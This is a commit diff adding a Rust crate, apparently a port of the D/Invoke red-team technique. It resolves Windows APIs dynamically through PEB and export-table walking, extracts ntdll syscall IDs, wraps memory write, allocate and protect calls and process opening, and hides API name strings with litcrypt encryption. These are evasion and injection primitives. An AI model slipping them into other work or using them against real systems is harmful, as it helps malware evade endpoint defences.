source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a1feb54ed693b93a84e14094943b84b7c4eae204c512b7ccb95ab0c66d278ad1"
dependencies = [
"proc-macro2",
]
[[package]]
name = "rustc-demangle"
version = "0.1.21"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7ef03e0a2b150c7a90d01faf6254c9c48a41e95fb2a8c2ac1c6f0d2b9aefc342"
[[package]]
name = "syn"
version = "1.0.94"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a07e33e919ebcd69113d5be0e4d70c5707004ff45188910106854f38b960df4a"
dependencies = [
"proc-macro2",
"quote",
"unicode-xid",
]
[[package]]
name = "synstructure"
version = "0.12.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f36bdaa60a83aca3921b5259d5400cbf5e90fc51931376a9bd4a0eb79aa7210f"
dependencies = [
"proc-macro2",
"quote",
"syn",
"unicode-xid",
]
[[package]]
name = "unicode-xid"
version = "0.2.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "957e51f3646910546462e67d5f7599b9e4fb8acdd304b087a6494730f9eebf04"
[[package]]
name = "widestring"
version = "0.4.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c168940144dd21fd8046987c16a46a33d5fc84eec29ef9dcddc2ac9e31526b7c"
[[package]]
name = "winapi"
version = "0.3.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
dependencies = [
"winapi-i686-pc-windows-gnu",
"winapi-x86_64-pc-windows-gnu",
]
[[package]]
name = "winapi-i686-pc-windows-gnu"
version = "0.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
[[package]]
name = "winapi-x86_64-pc-windows-gnu"
version = "0.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
[[package]]
name = "windows"
version = "0.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ef84dd25f4c69a271b1bba394532bf400523b43169de21dfc715e8f8e491053d"
dependencies = [
"const-sha1",
"windows_gen",
"windows_macros",
]
[[package]]
name = "windows_gen"
version = "0.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ac7bb21b8ff5e801232b72a6ff554b4cc0cef9ed9238188c3ca78fe3968a7e5d"
dependencies = [
"windows_quote",
"windows_reader",
]
[[package]]
name = "windows_macros"
version = "0.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5566b8c51118769e4a9094a688bf1233a3f36aacbfc78f3b15817fe0b6e0442f"
dependencies = [
"syn",
"windows_gen",
"windows_quote",
"windows_reader",
]
[[package]]
name = "windows_quote"
version = "0.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4af8236a9493c38855f95cdd11b38b342512a5df4ee7473cffa828b5ebb0e39c"
[[package]]
name = "windows_reader"
version = "0.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2c8d5cf83fb08083438c5c46723e6206b2970da57ce314f80b57724439aaacab"
[[package]]
name = "winproc"
version = "0.6.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "979e07b33c6af27e5c454e42d1b946b403ec222e7bad52ef020820708e087b25"
dependencies = [
"bitflags",
"failure",
"widestring",
"winapi",
]
+16
View File
@@ -0,0 +1,16 @@
[package]
name = "dinvoke"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[profile.dev.package.dinvoke]
opt-level = 3
debug = 0
[dependencies]
bindings = { path = "../bindings" }
data = { path = "../data" }
libc = "0.2.101"
winproc = "0.6.4"
litcrypt = "0.3"
+896
View File
@@ -0,0 +1,896 @@
#[macro_use]
extern crate litcrypt;
use_litcrypt!();
use std::mem::size_of;
use std::panic;
use std::{collections::HashMap, ptr};
use std::ffi::CString;
use bindings::Windows::Win32::System::Kernel::UNICODE_STRING;
use bindings::Windows::Win32::System::Threading::{PROCESS_BASIC_INFORMATION};
use bindings::Windows::Win32::System::WindowsProgramming::{OBJECT_ATTRIBUTES,CLIENT_ID};
use bindings::Windows::Win32::{Foundation::{HANDLE, HINSTANCE, PSTR}, {System::Threading::{GetCurrentProcess}}};
use data::{ApiSetNamespace, ApiSetNamespaceEntry, ApiSetValueEntry, DLL_PROCESS_ATTACH, EAT, EntryPoint, PVOID, PeMetadata, PS_CREATE_INFO, PS_ATTRIBUTE_LIST};
use libc::c_void;
use litcrypt::lc;
use winproc::Process;
/// Retrieves the base address of a module loaded in the current process.
///
/// In case that the module can't be found in the current process, it will
/// return 0.
///
/// # Examples
///
/// ```
/// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
///
/// if ntdll != 0
/// {
/// println!("The base address of ntdll.dll is 0x{:X}.", ntdll);
/// }
/// ```
pub fn get_module_base_address (module_name: &str) -> i64
{
let process = Process::current();
let modules = process.module_list().unwrap();
for m in modules
{
if m.name().unwrap().to_lowercase() == module_name.to_ascii_lowercase()
{
let handle = m.handle();
return handle as i64;
}
}
0
}
/// Retrieves the address of an exported function from the specified module.
///
/// This functions is analogous to GetProcAddress from Win32. The exported
/// function's address is obtained by walking and parsing the EAT of the
/// specified module.
///
/// In case that the function's address can't be retrieved, it will return 0.
///
/// # Examples
///
/// ```
/// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
///
/// if ntdll != 0
/// {
/// let addr = dinvoke::get_function_address(ntdll, "NtCreateThread");
/// println!("The address where NtCreateThread is located at is 0x{:X}.", addr);
/// }
/// ```
pub fn get_function_address(module_base_address: i64, function: &str) -> i64 {
unsafe
{
let mut function_ptr:*mut i32 = ptr::null_mut();
let pe_header = *((module_base_address + 0x3C) as *mut i32);
let opt_header: i64 = module_base_address + (pe_header as i64) + 0x18;
let magic = *(opt_header as *mut i16);
let p_export: i64;
if magic == 0x010b
{
p_export = opt_header + 0x60;
}
else
{
p_export = opt_header + 0x70;
}
let export_rva = *(p_export as *mut i32);
let ordinal_base = *((module_base_address + export_rva as i64 + 0x10) as *mut i32);
let number_of_names = *((module_base_address + export_rva as i64 + 0x18) as *mut i32);
let functions_rva = *((module_base_address + export_rva as i64 + 0x1C) as *mut i32);
let names_rva = *((module_base_address + export_rva as i64 + 0x20) as *mut i32);
let ordinals_rva = *((module_base_address + export_rva as i64 + 0x24) as *mut i32);
for x in 0..number_of_names
{
let address = *((module_base_address + names_rva as i64 + x as i64 * 4) as *mut i32);
let mut function_name_ptr = (module_base_address + address as i64) as *mut u8;
let mut function_name: String = "".to_string();
while *function_name_ptr as char != '\0' // null byte
{
function_name.push(*function_name_ptr as char);
function_name_ptr = function_name_ptr.add(1);
}
if function_name.to_lowercase() == function.to_lowercase()
{
let function_ordinal = *((module_base_address + ordinals_rva as i64 + x as i64 * 2) as *mut i16) as i32 + ordinal_base;
let function_rva = *(((module_base_address + functions_rva as i64 + (4 * (function_ordinal - ordinal_base)) as i64 )) as *mut i32);
function_ptr = (module_base_address + function_rva as i64) as *mut i32;
function_ptr = get_forward_address(function_ptr as *mut u8) as *mut i32;
break;
}
}
let mut ret: i64 = 0;
if function_ptr != ptr::null_mut()
{
ret = function_ptr as i64;
}
ret
}
}
fn get_forward_address(function_ptr: *mut u8) -> i64 {
unsafe
{
let mut c = 100;
let mut ptr = function_ptr.clone();
let mut forwarded_names = "".to_string();
loop
{
if *ptr as char != '\0'
{
forwarded_names.push(*ptr as char);
}
else
{
break;
}
ptr = ptr.add(1);
c = c - 1;
// Assume there wont be an exported address with len > 100
if c == 0
{
return function_ptr as i64;
}
}
let values: Vec<&str> = forwarded_names.split(".").collect();
if values.len() != 2
{
return function_ptr as i64;
}
let mut forwarded_module_name = values[0].to_string();
let forwarded_export_name = values[1].to_string();
let api_set = get_api_mapping();
let prev_hook = panic::take_hook();
panic::set_hook(Box::new(|_| {}));
let result = panic::catch_unwind(|| {
format!("{}{}",&forwarded_module_name[..forwarded_module_name.len() - 2], ".dll");
});
panic::set_hook(prev_hook);
if result.is_err()
{
return function_ptr as i64;
}
let lookup_key = format!("{}{}",&forwarded_module_name[..forwarded_module_name.len() - 2], ".dll");
if api_set.contains_key(&lookup_key)
{
forwarded_module_name = match api_set.get(&lookup_key) {
Some(x) => x.to_string(),
None => {forwarded_module_name}
};
}
else
{
forwarded_module_name = forwarded_module_name + ".dll";
}
let mut module = get_module_base_address(&forwarded_module_name);
// If the module is not already loaded, we try to load it dynamically calling LoadLibraryA
if module == 0
{
module = load_library_a(&forwarded_module_name);
}
if module != 0
{
return get_function_address(module, &forwarded_export_name);
}
function_ptr as i64
}
}
pub fn get_api_mapping() -> HashMap<String,String> {
unsafe
{
let handle = GetCurrentProcess();
let process_information: *mut c_void = std::mem::transmute(&PROCESS_BASIC_INFORMATION::default());
let _ret = nt_query_information_process(
handle,
0,
process_information,
size_of::<PROCESS_BASIC_INFORMATION>() as u32,
ptr::null_mut());
let _r = close_handle(handle);
let process_information_ptr: *mut PROCESS_BASIC_INFORMATION = std::mem::transmute(process_information);
let api_set_map_offset:u64;
if size_of::<usize>() == 4
{
api_set_map_offset = 0x38;
}
else
{
api_set_map_offset = 0x68;
}
let mut api_set_dict: HashMap<String,String> = HashMap::new();
let api_set_namespace_ptr = *(((*process_information_ptr).PebBaseAddress as u64 + api_set_map_offset) as *mut isize);
let api_set_namespace_ptr: *mut ApiSetNamespace = std::mem::transmute(api_set_namespace_ptr);
let namespace = *api_set_namespace_ptr;
for i in 0..namespace.count
{
let set_entry_ptr = (api_set_namespace_ptr as u64 + namespace.entry_offset as u64 + (i * size_of::<ApiSetNamespaceEntry>() as i32) as u64) as *mut ApiSetNamespaceEntry;
let set_entry = *set_entry_ptr;
let mut api_set_entry_name_ptr = (api_set_namespace_ptr as u64 + set_entry.name_offset as u64) as *mut u8;
let mut api_set_entry_name: String = "".to_string();
let mut j = 0;
while j < (set_entry.name_length / 2 )
{
let c = *api_set_entry_name_ptr as char;
if c != '\0' // Esto se podria meter en una funcion aparte
{
api_set_entry_name.push(c);
j = j + 1;
}
api_set_entry_name_ptr = api_set_entry_name_ptr.add(1);
}
let api_set_entry_key = format!("{}{}",&api_set_entry_name[..api_set_entry_name.len()-2], ".dll");
let mut set_value_ptr: *mut ApiSetValueEntry = ptr::null_mut();
if set_entry.value_length == 1
{
let value = (api_set_namespace_ptr as u64 + set_entry.value_offset as u64) as *mut u8;
set_value_ptr = std::mem::transmute(value);
}
else if set_entry.value_length > 1
{
for x in 0..set_entry.value_length
{
let host_ptr = (api_set_entry_name_ptr as u64 + set_entry.value_offset as u64 + size_of::<ApiSetValueEntry>() as u64 * x as u64) as *mut u8;
let mut c: u8 = u8::default();
let mut host: String = "".to_string();
while c as char != '\0'
{
c = *host_ptr;
if c as char != '\0'
{
host.push(c as char);
}
}
if host != api_set_entry_name
{
set_value_ptr = (api_set_namespace_ptr as u64 + set_entry.value_offset as u64 + size_of::<ApiSetValueEntry>() as u64 * x as u64) as *mut ApiSetValueEntry;
}
}
if set_value_ptr == ptr::null_mut()
{
set_value_ptr = (api_set_namespace_ptr as u64 + set_entry.value_offset as u64) as *mut ApiSetValueEntry;
}
}
let set_value = *set_value_ptr;
let mut api_set_value: String = "".to_string();
if set_value.value_count != 0
{
let mut value_ptr = (api_set_namespace_ptr as u64 + set_value.value_offset as u64) as *mut u8;
let mut r = 0;
while r < (set_value.value_count / 2 )
{
let c = *value_ptr as char;
if c != '\0'
{
api_set_value.push(c);
r = r + 1;
}
value_ptr = value_ptr.add(1);
}
}
api_set_dict.insert(api_set_entry_key, api_set_value);
}
api_set_dict
}
}
/// Returns a BTreeMap<i64,String> composed of pairs (memory address, function name)
/// with all the Nt exported functions on ntdll.dll.
///
/// This functions will only return valid data if the parameter passed is the base address of
/// ntdll.dll. This function is usefull to dynamically get a syscall id as it is shown in the
/// example.
///
/// # Examples
///
/// ```
/// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
///
/// if ntdll != 0
/// {
/// let eat = dinvoke::get_ntdll_eat(ntdll);
/// let mut j = 0;
/// for (a,b) in eat.iter()
/// {
/// if b == "NtCreateThreadEx"
/// {
/// println!("The syscall id for NtCreateThreadEx is {}.",j);
/// break;
/// }
/// j = j + 1;
/// }
/// }
/// ```
pub fn get_ntdll_eat(module_base_address: i64) -> EAT {
unsafe
{
let mut eat:EAT = EAT::default();
let mut function_ptr:*mut i32;
let pe_header = *((module_base_address + 0x3C) as *mut i32);
let opt_header: i64 = module_base_address + (pe_header as i64) + 0x18;
let magic = *(opt_header as *mut i16);
let p_export: i64;
if magic == 0x010b
{
p_export = opt_header + 0x60;
}
else
{
p_export = opt_header + 0x70;
}
let export_rva = *(p_export as *mut i32);
let ordinal_base = *((module_base_address + export_rva as i64 + 0x10) as *mut i32);
let number_of_names = *((module_base_address + export_rva as i64 + 0x18) as *mut i32);
let functions_rva = *((module_base_address + export_rva as i64 + 0x1C) as *mut i32);
let names_rva = *((module_base_address + export_rva as i64 + 0x20) as *mut i32);
let ordinals_rva = *((module_base_address + export_rva as i64 + 0x24) as *mut i32);
for x in 0..number_of_names
{
let address = *((module_base_address + names_rva as i64 + x as i64 * 4) as *mut i32);
let mut function_name_ptr = (module_base_address + address as i64) as *mut u8;
let mut function_name: String = "".to_string();
while *function_name_ptr as char != '\0' // null byte
{
function_name.push(*function_name_ptr as char);
function_name_ptr = function_name_ptr.add(1);
}
if function_name.starts_with("Zw")
{
let function_ordinal = *((module_base_address + ordinals_rva as i64 + x as i64 * 2) as *mut i16) as i32 + ordinal_base;
let function_rva = *(((module_base_address + functions_rva as i64 + (4 * (function_ordinal - ordinal_base)) as i64 )) as *mut i32);
function_ptr = (module_base_address + function_rva as i64) as *mut i32;
function_name = function_name.replace("Zw", "Nt");
eat.insert(function_ptr as i64,function_name );
}
}
eat
}
}
/// Returns the syscall id that correspond to the function specified.
///
/// This functions will return -1 in case that the syscall id of the specified function
/// could not be retrieved.
///
/// # Examples
///
/// ```
/// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
///
/// if ntdll != 0
/// {
/// let eat = dinvoke::get_ntdll_eat(ntdll);
/// let id = dinvoke::get_syscall_id(eat, "NtCreateThreadEx");
///
/// if id != -1
/// {
/// println!("The syscall id for NtCreateThreadEx is {}.",id);
/// }
/// }
/// ```
pub fn get_syscall_id(eat:EAT, function_name: &str) -> i32 {
let mut i = 0;
for (_a,b) in eat.iter()
{
if b == function_name
{
return i;
}
i = i + 1;
}
-1
}
/// Calls the module's entry point with the option DLL_ATTACH_PROCESS.
///
/// # Examples
///
/// ```ignore
/// let pe = manualmap::read_and_map_module("c:\\some\\random\\file.dll").unwrap();
/// let ret = dinvoke::call_module_entry_point(pe.0, pe.1);
///
/// match ret
/// {
/// Ok(()) => println!("Module entry point successfully executed."),
/// Err(e) => println!("Error ocurred: {}", e)
/// }
/// ```
pub fn call_module_entry_point(pe_info: PeMetadata, module_base_address: i64) -> Result<(), String> {
let entry_point;
if pe_info.is_32_bit
{
entry_point = module_base_address + pe_info.opt_header_32.AddressOfEntryPoint as i64;
}
else
{
entry_point = module_base_address + pe_info.opt_header_64.address_of_entry_point as i64;
}
unsafe
{
let main: EntryPoint = std::mem::transmute(entry_point);
let module = HINSTANCE {0: entry_point as isize};
let ret = main(module, DLL_PROCESS_ATTACH, ptr::null_mut());
if !ret.as_bool()
{
return Err(lc!("[x] Failed to call module's entry point (DllMain -> DLL_PROCESS_ATTACH)."));
}
Ok(())
}
}
/// Retrieves the address of an exported function from the specified module by its ordinal.
///
/// In case that the function's address can't be retrieved, it will return 0.
///
/// This functions internally calls LdrGetProcedureAddress.
///
/// # Examples
///
/// ```
/// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
///
/// if ntdll != 0
/// {
/// let ordinal: u32 = 8;
/// let addr = dinvoke::get_function_address_ordinal(ntdll, ordinal);
/// if addr != 0
/// {
/// println!("The function with ordinal 8 is located at 0x{:X}.", addr);
/// }
/// }
/// ```
pub fn get_function_address_by_ordinal(module_base_address: i64, ordinal: u32) -> i64 {
let ret = ldr_get_procedure_address(module_base_address, "", ordinal);
ret
}
/// Retrieves the address of an exported function from the specified module either by its name
/// or by its ordinal number.
///
/// This functions internally calls LdrGetProcedureAddress.
///
/// In case that the function's address can't be retrieved, it will return 0.
///
/// # Examples
///
/// ```
/// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
///
/// if ntdll != 0
/// {
/// let ordinal: u32 = 8; // Ordinal 8 represents the function RtlDispatchAPC
/// let addr = dinvoke::ldr_get_procedure_address(ntdll,"", 8);
/// if addr != 0
/// {
/// println!("The function with ordinal 8 is located at 0x{:X}.", addr);
/// }
/// }
/// ```
pub fn ldr_get_procedure_address (module_handle: i64, function_name: &str, ordinal: u32) -> i64 {
unsafe
{
let ret: Option<i32>;
let func_ptr: data::LdrGetProcedureAddress;
let hmodule: PVOID = std::mem::transmute(module_handle);
let return_address: *mut c_void = std::mem::transmute(&u64::default());
let return_address: *mut PVOID = std::mem::transmute(return_address);
let mut fun_name: *mut String = std::mem::transmute(&String::default());
if function_name == ""
{
fun_name = ptr::null_mut();
}
else
{
*fun_name = function_name.to_string();
}
let module_base_address = get_module_base_address(&lc!("ntdll.dll"));
dynamic_invoke!(module_base_address,&lc!("LdrGetProcedureAddress"),func_ptr,ret,hmodule,fun_name,ordinal,return_address);
match ret {
Some(x) =>
{
if x == 0
{
return *return_address as i64;
}
else
{
return 0;
}
},
None => return 0,
}
}
}
/// Loads and retrieves a module's base address by dynamically calling LoadLibraryA.
///
/// It will return either the module's base address or an Err with a descriptive error message.
///
/// # Examples
///
/// ```
/// let ret = dinvoke::load_library_a("ntdll.dll");
///
/// if ret != 0 {println!("ntdll.dll base address is 0x{:X}.", addr);
/// ```
pub fn load_library_a(module: &str) -> i64 {
unsafe
{
let ret: Option<HINSTANCE>;
let func_ptr: data::LoadLibraryA;
let name = CString::new(module.to_string()).expect("CString::new failed");
let function_name = PSTR{0: name.as_ptr() as *mut u8};
let module_base_address = get_module_base_address(&lc!("kernel32.dll"));
dynamic_invoke!(module_base_address,&lc!("LoadLibraryA"),func_ptr,ret,function_name);
match ret {
Some(x) => return x.0 as i64,
None => return 0,
}
}
}
/// Closes a HANDLE object.
///
/// It will return either a boolean value or an Err with a descriptive error message. If the function
/// fails the bool value returned will be false.
///
/// # Examples
///
/// ```
/// let pid = 792u32;
/// let handle = dinvoke::open_process(0x0040, 0, pid); //PROCESS_DUP_HANDLE access right.
///
/// if handle.0 != 0 && handle.0 != -1
/// {
/// let r = dinvoke::close_handle(handle);
/// if r
/// {
/// println!("Handle to process with id {} closed.", pid);
/// }
/// }
/// ```
pub fn close_handle(handle: HANDLE) -> bool {
unsafe
{
let ret: Option<i32>;
let func_ptr: data::CloseHandle;
let ntdll = get_module_base_address(&lc!("kernel32.dll"));
dynamic_invoke!(ntdll,&lc!("CloseHandle"),func_ptr,ret,handle);
match ret {
Some(x) =>
{
if x == 0
{
return false;
}
else
{
return true;
}
},
None => return false,
}
}
}
/// Dynamically calls NtWriteVirtualMemory.
///
/// It will return the NTSTATUS value returned by the call.
pub fn nt_write_virtual_memory (handle: HANDLE, base_address: PVOID, buffer: PVOID, size: usize, bytes_written: *mut usize) -> i32 {
unsafe
{
let ret;
let func_ptr: data::NtWriteVirtualMemory;
let ntdll = get_module_base_address(&lc!("ntdll.dll"));
dynamic_invoke!(ntdll,&lc!("NtWriteVirtualMemory"),func_ptr,ret,handle,base_address,buffer,size,bytes_written);
match ret {
Some(x) => return x,
None => return -1,
}
}
}
/// Dynamically calls NtAllocateVirtualMemory.
///
/// It will return the NTSTATUS value returned by the call.
pub fn nt_allocate_virtual_memory (handle: HANDLE, base_address: *mut PVOID, zero_bits: usize, size: *mut usize, allocation_type: u32, protection: u32) -> i32 {
unsafe
{
let ret;
let func_ptr: data::NtAllocateVirtualMemory;
let ntdll = get_module_base_address(&lc!("ntdll.dll"));
dynamic_invoke!(ntdll,&lc!("NtAllocateVirtualMemory"),func_ptr,ret,handle,base_address,zero_bits,size,allocation_type,protection);
match ret {
Some(x) => return x,
None => return -1,
}
}
}
/// Dynamically calls NtProtectVirtualMemory.
///
/// It will return the NTSTATUS value returned by the call.
pub fn nt_protect_virtual_memory (handle: HANDLE, base_address: *mut PVOID, size: *mut usize, new_protection: u32, old_protection: *mut u32) -> i32 {
unsafe
{
let ret;
let func_ptr: data::NtProtectVirtualMemory;
let ntdll = get_module_base_address(&lc!("ntdll.dll"));
dynamic_invoke!(ntdll,&lc!("NtProtectVirtualMemory"),func_ptr,ret,handle,base_address,size,new_protection,old_protection);
match ret {
Some(x) => return x,
None => return -1,
}
}
}
/// Dynamically calls NtQueryInformationProcess.
///
/// It will return the NTSTATUS value returned by the call.
pub fn nt_query_information_process (handle: HANDLE, process_information_class: u32, process_information: PVOID, length: u32, return_length: *mut u32) -> i32 {
unsafe
{
let ret;
let func_ptr: data::NtQueryInformationProcess;
let ntdll = get_module_base_address(&lc!("ntdll.dll"));
dynamic_invoke!(ntdll,&lc!("NtQueryInformationProcess"),func_ptr,ret,handle,process_information_class,process_information,length,return_length);
match ret {
Some(x) => return x,
None => return -1,
}
}
}
/// Dynamically calls RtlAdjustPrivilege.
///
/// It will return the NTSTATUS value returned by the call.
pub fn rtl_adjust_privilege(privilege: u32, enable: u8, current_thread: u8, enabled: *mut u8) -> i32 {
unsafe
{
let ret;
let func_ptr: data::RtlAdjustPrivilege;
let ntdll = get_module_base_address(&lc!("ntdll.dll"));
dynamic_invoke!(ntdll,&lc!("RtlAdjustPrivilege"),func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) => return x,
None => return -1,
}
}
}
/// Dynamically calls NtOpenProcess.
///
/// It will return the NTSTATUS value returned by the call.
pub fn nt_open_process(handle: *mut HANDLE, desired_access: u32, attributes: *mut OBJECT_ATTRIBUTES, client_id: *mut CLIENT_ID) -> i32 {
unsafe
{
let ret;
let func_ptr: data::NtOpenProcess;
let ntdll = get_module_base_address(&lc!("ntdll.dll"));
dynamic_invoke!(ntdll,&lc!("NtOpenProcess"),func_ptr,ret,handle,desired_access,attributes,client_id);
match ret {
Some(x) => return x,
None => return -1,
}
}
}
pub fn rtl_init_unicode_string (destination_string: *mut UNICODE_STRING, source_string: *const u16) -> ()
{
unsafe
{
let _ret: Option<()>;
let func_ptr: data::RtlInitUnicodeString;
let ntdll = get_module_base_address(&lc!("ntdll.dll"));
dynamic_invoke!(ntdll,&lc!("RtlInitUnicodeString"),func_ptr,_ret,destination_string, source_string);
}
}
pub fn nt_create_user_process(process_handle: *mut HANDLE, thread_handle: *mut HANDLE, process_access: u32, thread_access: u32, object_attributes: *mut OBJECT_ATTRIBUTES,
thread_object_attr: *mut OBJECT_ATTRIBUTES, process_flags: u32, thread_flags: u32, parameters: PVOID, create_info: *mut PS_CREATE_INFO, attr_list: *mut PS_ATTRIBUTE_LIST) -> i32 {
unsafe
{
let ret;
let func_ptr: data::NtCreateUserProcess;
let ntdll = get_module_base_address(&lc!("ntdll.dll"));
dynamic_invoke!(ntdll,&lc!("NtCreateUserProcess"),func_ptr,ret,process_handle,thread_handle,process_access,thread_access,object_attributes,thread_object_attr,
process_flags,thread_flags,parameters,create_info,attr_list);
match ret {
Some(x) => return x,
None => return -1,
}
}
}
/// Dynamically calls an exported function from the specified module.
///
/// This macro will use the dinvoke crate functions to obtain an exported
/// function address of the specified module in the runtime by walking process structures
/// and PE headers.
///
/// In case that this macro is used to call a dll entry point (DllMain), it will return true
/// or false (using the 3rd argument passed to the macro) depending on the success of the call.
/// In any other case, it will return the same data type that the called function would return
/// using the 4th argument passed to the macro.
///
/// # Example - Calling a dll entry point
///
/// ```ignore
/// let a = manualmap::read_and_map_module("c:\\some\\random\\file.dll").unwrap();
/// let ret: bool = false;
/// dinvoke::dynamic_invoke(&a.0, a.1, ret); // dinvoke::dynamic_invoke(&PeMetadata, i64, bool)
/// if ret { println!("Entry point successfully called.");}
/// ```
/// # Example - Dynamically calling LoadLibraryA
///
/// ```ignore
/// let kernel32 = manualmap::read_and_map_module("c:\\windows\\system32\\kernel32.dll").unwrap();
/// let mut ret:Option<HINSTANCE>;
/// let function_ptr: data::LoadLibraryA;
/// let name = CString::new("ntdll.dll").expect("CString::new failed");
/// let module_name = PSTR{0: name.as_ptr() as *mut u8};
/// //dinvoke::dynamic_invoke(i64,&str,<function_type>,Option<return_type>,[arguments])
/// dinvoke::dynamic_invoke(a.1, "LoadLibraryA", function_ptr, ret, module_name);
///
/// match ret {
/// Some(x) => if x.0 == 0 {println!("ntdll base address is 0x{:X}",x.0);},
/// None => println!("Error calling LdrGetProcedureAddress"),
/// }
/// ```
/// # Example - Dynamically calling with referenced arguments
///
/// ```ignore
/// let ptr = dinvoke::get_module_base_address("ntdll.dll");
/// let function_ptr: LdrGetProcedureAddress;
/// let ret: Option<i32>;
/// let hmodule: PVOID = std::mem::transmute(ptr);
/// let fun_name: *mut String = ptr::null_mut();
/// let ordinal = 8 as u32;
/// let return_address: *mut c_void = std::mem::transmute(&u64::default());
/// let return_address: *mut PVOID = std::mem::transmute(return_address);
/// //dinvoke::dynamic_invoke(i64,&str,<function_type>,Option<return_type>,[arguments])
/// dinvoke::dynamic_invoke!(ptr,"LdrGetProcedureAddress",function_ptr,ret,hmodule,fun_name,ordinal,return_address);
///
/// match ret {
/// Some(x) => if x == 0 {println!("RtlDispatchAPC is located at the address: 0x{:X}",*return_address as u64);},
/// None => println!("Error calling LdrGetProcedureAddress"),
/// }
/// ```
#[macro_export]
macro_rules! dynamic_invoke {
($a:expr, $b:expr, $c:expr) => {
let ret = $crate::call_module_entry_point(&$a,$b);
match ret {
Ok(_) => $c = true,
Err(_) => $c = false,
}
};
($a:expr, $b:expr, $c:expr, $d:expr, $($e:tt)*) => {
let function_ptr = $crate::get_function_address($a, $b);
if function_ptr != 0
{
$c = std::mem::transmute(function_ptr);
$d = Some($c($($e)*));
}
else
{
$d = None;
}
};
}
+186
View File
File diff suppressed because one or more lines are too long